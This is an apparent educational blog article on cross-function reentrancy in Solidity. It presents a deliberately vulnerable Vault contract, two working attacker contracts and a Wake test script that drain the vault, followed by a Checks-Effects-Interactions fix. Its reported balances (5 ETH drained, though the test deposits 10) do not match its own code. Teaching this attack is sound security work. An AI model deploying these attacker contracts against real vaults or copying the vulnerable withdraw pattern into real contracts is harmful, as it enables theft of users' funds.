What is a cross function reentrancy attack?

Cross-function reentrancy attacks use multiple functions to execute the attack, which can occur when inappropriate mitigations of a single function reentancy attack are taken. Cross-function reentrancy attacks are more complicated to find vulnerabilities in than single-function reentrancy attacks since they use a combination of functions.

This article reviews how cross-function reentrancy attacks work, an attack example, and how cross-function reentrancy attacks can be prevented.

Example of a cross-function reentrancy vulnerability

This smart contract adds the transfer function for transferring the user’s value to another user without using ETH.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract Vault is ReentrancyGuard {
    mapping (address => uint) private balances;

    function deposit() external payable nonReentrant {
        balances[msg.sender] += msg.value;
    }

    function transfer(address to, uint amount) public {
        if (balances[msg.sender] >= amount) {
            balances[to] += amount;
            balances[msg.sender] -= amount;
        }
    }

    function withdraw() public nonReentrant { // we can use noReentrant here.
        uint amount = balances[msg.sender];
        msg.sender.call{value: amount}("");
        balances[msg.sender] = 0; // did not checked balance. just overwrite to 0.
    }
}

This is very similar to single function reentrancy but we set Reentrancy Guard for withdraw and deposit function so the same attack can not be done on this code. but the transfer function does not have nonReentrant.

The problem is that state changes are not completed before the transfer function becomes callable by the user. For instance, when a user calls the withdraw function, it makes an external call and receives ETH. The balance is then transferred to another address. However, after the external call, the balance is simply set to zero. As a result, the total balance of ETH across both accounts effectively doubles for the same user.

Cross function reentrancy attack steps

After calling the attack function,

  1. Call the deposit to increase the balance for preparation for the attack.
  2. Call the withdraw function and it makes an external call to the Attacker, and it is called the receive function and it transfers the attacker’s deposited amount to Attacker2.
  3. So now the sum of the amount that Attacker and Attacker2 is multiple.
  4. Call the transfer and transfer the balance from Attacker2 to Attacker now the value of the balance is the same as at step 1. but Attacker2 received ETH in the previous steps.

We repeat those operations.

These are attacker contracts.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "./vault.sol";

contract Attacker {
    Vault victim;
    uint256 amount = 1 ether;

    Attacker2 public attacker2;

    constructor(Vault _victim) payable {
        victim = Vault(_victim);
    }

    function setattacker2(address _attacker2) public {
        attacker2 = Attacker2(_attacker2);
    }

    function attack() public payable {
        uint256 value =  address(this).balance;
        victim.deposit{value: value}();
        while(address(victim).balance >= amount) {
            victim.withdraw();
            attacker2.send( value , address(this));
        }
    }


    /**
     * @notice Receive ether. the same amount of withdraw() but we can transfer the same amount to attacker2. 
     * Because burn balance of attacker1 after this function.
     * @dev triggered by victim.withdraw()
     */
    receive() external payable {
        victim.transfer(address(attacker2), msg.value);
    }
}

contract Attacker2 {

    uint256 amount = 1 ether;
    Vault victim;

    constructor(Vault _victim) {
        victim = Vault(_victim);
    }

    function send(uint256 value, address attacker) public {
        victim.transfer(attacker, value);
    }

}

This is the exploit.

Attacker needs to know Attacker2 to send. Attacker2 can be EOA, we used a simple contract that is just able to send but for the indication.

from wake.testing import *

from pytypes.contracts.crossfunctionreentrancy.vault import Vault
from pytypes.contracts.crossfunctionreentrancy.attacker import Attacker
from pytypes.contracts.crossfunctionreentrancy.attacker import Attacker2

@default_chain.connect()
def test_default():
    print("---------------------Cross Function Reentrancy---------------------")
    victim = default_chain.accounts[0]
    attacker = default_chain.accounts[1]
    
    vault_contract = Vault.deploy(from_=victim)
    vault_contract.deposit(from_=victim, value="10 ether")
 
    
    attacker_contract = Attacker.deploy(vault_contract.address, from_=attacker , value="1 ether")
    attacker2_contract = Attacker2.deploy(vault_contract.address, from_=attacker)

    attacker_contract.setattacker2(attacker2_contract.address, from_=attacker)
    print("Vault balance   : ", vault_contract.balance)
    print("Attacker balance: ", attacker_contract.balance)

    print("----------Attack----------")
    attacker_contract.attack(from_=attacker)

    print("Vault balance   : ", vault_contract.balance)
    print("Attacker balance: ", attacker_contract.balance)

This is the output of Wake.

We can see the Vault balance changed from 5 EHT to 0 ETH. Attacker balance changed 1 ETH to 6 ETH.

This is cross-function reentrancy.

Preventing a cross function reentrancy attack

There are ways to prevent this attack.

CEI (Checks-Effects-Interactions)

Similarly to the single function reentrant example, the most simple prevention is not executing an untrusted call in the middle of state changes.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

contract Vault {
    mapping (address => uint) private balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function transfer(address to, uint amount) public {
        if (balances[msg.sender] >= amount) {
            balances[to] += amount;
            balances[msg.sender] -= amount;
        }
    }

    function withdraw() public {
        uint amount = balances[msg.sender];
        balances[msg.sender] = 0; // change balance
        msg.sender.call{value: amount}(""); // external call
    }
}


While there can be other ways how to prevent it for example Reentrancy-Guard this could still open the vulnerability of other types of reentrancy, so it is best to apply the CEI pattern.

Conclusion

The main issue and cause of the reentrancy attack is the value is modifiable even if it is in the middle of the process of some function and the value is different from what it should be. We can fix it in several ways but even if we could prevent those reentrancy attacks, another type of reentrancy attack can be used and exploitable. We are going to explain those attacks in future blogs.


We have a Reentrancy Examples Github Repository where several other types of reentrancy attacks are listed with protocol-specific reentrancy exploit and prevention examples, including guiding blog articles.